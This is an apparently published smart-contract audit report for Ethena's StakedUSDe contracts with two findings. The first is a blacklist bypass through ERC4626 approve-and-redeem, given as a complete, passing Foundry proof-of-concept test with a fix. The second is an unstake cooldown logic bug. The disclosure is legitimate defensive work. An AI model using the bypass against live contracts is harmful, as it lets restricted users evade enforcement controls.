Ethena Labs - josephdara's results

Lines of code

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L225-L238 https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L245-L248

Vulnerability details

Impact

The StakedUSDe contract implements a method to SOFTLY or FULLY restrict user address, and either transfer to another user or burn. However there is an underlying issue. A fully restricted address is supposed to be unable to withdraw/redeem, however this issue can be walked around via the approve mechanism. The openzeppelin ERC4626 contract allows approved address to withdraw and redeem on behalf of another address so far there is an approval.

    function redeem(uint256 shares, address receiver, address owner) public virtual override returns (uint256) 

Blacklisted Users can explore this loophole to redeem their funds fully. This is because in the overridden _withdraw function, the token owner is not checked for restriction.

  function _withdraw(address caller, address receiver, address _owner, uint256 assets, uint256 shares)
    internal
    override
    nonReentrant
    notZero(assets)
    notZero(shares)
  {
    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) || hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver)) {
      revert OperationNotAllowed();
    }

Also in the overridden _beforeTokenTransfer there is a clause added to allow burning from restricted addresses:

  function _beforeTokenTransfer(address from, address to, uint256) internal virtual override {
    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, from) && to != address(0)) {
      revert OperationNotAllowed();
    }

All these issues allows a restricted user to simply approve another address and redeem their usde.

Proof of Concept

This is a foundry test that can be run in the StakedUSDe.blacklist.t.sol in the test/foundry/staking directory

// SPDX-License-Identifier: MIT
pragma solidity >=0.8;

/* solhint-disable private-vars-leading-underscore  */
/* solhint-disable func-name-mixedcase  */
/* solhint-disable var-name-mixedcase  */

import {console} from "forge-std/console.sol";
import "forge-std/Test.sol";
import {SigUtils} from "forge-std/SigUtils.sol";

import "../../../contracts/USDe.sol";
import "../../../contracts/StakedUSDe.sol";
import "../../../contracts/interfaces/IUSDe.sol";
import "../../../contracts/interfaces/IERC20Events.sol";
import "../../../contracts/interfaces/ISingleAdminAccessControl.sol";

contract StakedUSDeBlacklistTest is Test, IERC20Events {
  USDe public usdeToken;
  StakedUSDe public stakedUSDe;
  SigUtils public sigUtilsUSDe;
  SigUtils public sigUtilsStakedUSDe;
  uint256 public _amount = 100 ether;

  address public owner;
  address public alice;
  address public bob;
  address public greg;

  bytes32 SOFT_RESTRICTED_STAKER_ROLE;
  bytes32 FULL_RESTRICTED_STAKER_ROLE;
  bytes32 DEFAULT_ADMIN_ROLE;
  bytes32 BLACKLIST_MANAGER_ROLE;

  event Deposit(address indexed caller, address indexed owner, uint256 assets, uint256 shares);
  event Withdraw(
    address indexed caller, address indexed receiver, address indexed owner, uint256 assets, uint256 shares
  );
  event LockedAmountRedistributed(address indexed from, address indexed to, uint256 amountToDistribute);

  function setUp() public virtual {
    usdeToken = new USDe(address(this));

    alice = makeAddr("alice");
    bob = makeAddr("bob");
    greg = makeAddr("greg");
    owner = makeAddr("owner");

    usdeToken.setMinter(address(this));

    vm.startPrank(owner);
    stakedUSDe = new StakedUSDe(IUSDe(address(usdeToken)), makeAddr('rewarder'), owner);
    vm.stopPrank();

    FULL_RESTRICTED_STAKER_ROLE = keccak256("FULL_RESTRICTED_STAKER_ROLE");
    SOFT_RESTRICTED_STAKER_ROLE = keccak256("SOFT_RESTRICTED_STAKER_ROLE");
    DEFAULT_ADMIN_ROLE = 0x00;
    BLACKLIST_MANAGER_ROLE = keccak256("BLACKLIST_MANAGER_ROLE");
  }

  function _mintApproveDeposit(address staker, uint256 amount, bool expectRevert) internal {
    usdeToken.mint(staker, amount);

    vm.startPrank(staker);
    usdeToken.approve(address(stakedUSDe), amount);

    uint256 sharesBefore = stakedUSDe.balanceOf(staker);
    if (expectRevert) {
      vm.expectRevert(IStakedUSDe.OperationNotAllowed.selector);
    } else {
      vm.expectEmit(true, true, true, false);
      emit Deposit(staker, staker, amount, amount);
    }
    stakedUSDe.deposit(amount, staker);
    uint256 sharesAfter = stakedUSDe.balanceOf(staker);
    if (expectRevert) {
      assertEq(sharesAfter, sharesBefore);
    } else {
      assertApproxEqAbs(sharesAfter - sharesBefore, amount, 1);
    }
    vm.stopPrank();
  }

 
    function test_fullBlacklist_withdraw_pass() public {
    _mintApproveDeposit(alice, _amount, false);

    vm.startPrank(owner);
    stakedUSDe.grantRole(FULL_RESTRICTED_STAKER_ROLE, alice);
    vm.stopPrank();
    //@audit-issue assert that alice is blacklisted
   bool isBlacklisted = stakedUSDe.hasRole(FULL_RESTRICTED_STAKER_ROLE, alice);
   assertEq(isBlacklisted, true);
  //@audit-issue The staked balance of Alice
    uint256 balAliceBefore = stakedUSDe.balanceOf(alice); 
    //@audit-issue The usde balance of address 56
    uint256 bal56Before = usdeToken.balanceOf(address(56));
    vm.startPrank(alice);
    stakedUSDe.approve(address(56), _amount);
    vm.stopPrank();
    
    //@audit-issue address 56 receives approval and can unstake usde for Alice after a blacklist
    vm.startPrank(address(56));
    stakedUSDe.redeem(_amount, address(56), alice);
    vm.stopPrank();
      //@audit-issue The staked balance of Alice
     uint256 balAliceAfter = stakedUSDe.balanceOf(alice);
     //@audit-issue The usde balance of address 56
     uint256 bal56After = usdeToken.balanceOf(address(56));

      assertEq(bal56Before, 0);
      assertEq(balAliceAfter, 0);
      console.log(balAliceBefore);
      console.log(bal56Before);
      console.log(balAliceAfter);
      console.log(bal56After);

  }
}

Here we use address(56) as the second address, and we see that the user can withdraw their 100000000000000000000 tokens that was restricted. This is my test result showing the balances.

[PASS] test_fullBlacklist_withdraw_pass() (gas: 239624)
Logs:
  100000000000000000000 // Alice staked balance before
  0 // address(56) USDe balance before
  0 // Alice staked balance after
  100000000000000000000 // address(56) USDe balance after

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.68ms

Tools Used

Foundry, Manual review

Recommended Mitigation Steps

Check the token owner as well in the _withdraw function:

    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) || hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver) || hasRole(FULL_RESTRICTED_STAKER_ROLE, _owner) ) {
      revert OperationNotAllowed();
    }

Assessed type

ERC4626

Lines of code

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDeV2.sol#L76-L87

Vulnerability details

Impact

Unstake is used to withdraw token that were being cooled down in the silo, They are also used to withdraw tokens locked in the silo after the cooldownDuration is set to zero:

/// @notice Claim the staking amount after the cooldown has finished. The address can only retire the full amount of assets.
  /// @dev unstake can be called after cooldown have been set to 0, to let accounts to be able to claim remaining assets locked at Silo
  /// @param receiver Address to send the assets by the staker
  function unstake(address receiver) external {

Proof of Concept

The above condition can not be satisfied, because the contract does not allow redemption of locked tokens even when lockdown has been changed to zero.

    if (block.timestamp >= userCooldown.cooldownEnd) {
      userCooldown.cooldownEnd = 0;
      userCooldown.underlyingAmount = 0;

      silo.withdraw(receiver, assets);
    } else {
      revert InvalidCooldown();
    }

As seen above, it only checks if the specified userCooldown.cooldownEnd has elapsed, if it hasn't the function reverts. This means that if a user cools down any amount of assets, if the cooldown period is set to zero the next day, they would still have to wait for the 90 days to elapse. This is because unstake CANNOT be called after cooldown have been set to 0 contrary to the code comments.

Tools Used

Manual Review

Recommended Mitigation Steps

Allow users redeem their tokens from the silo when cooldown is turned off by updating the if statement.

    if (block.timestamp >= userCooldown.cooldownEnd || cooldownDuration == 0) {
      userCooldown.cooldownEnd = 0;
      userCooldown.underlyingAmount = 0;

      silo.withdraw(receiver, assets);
    } else {
      revert InvalidCooldown();
    }

Assessed type

Other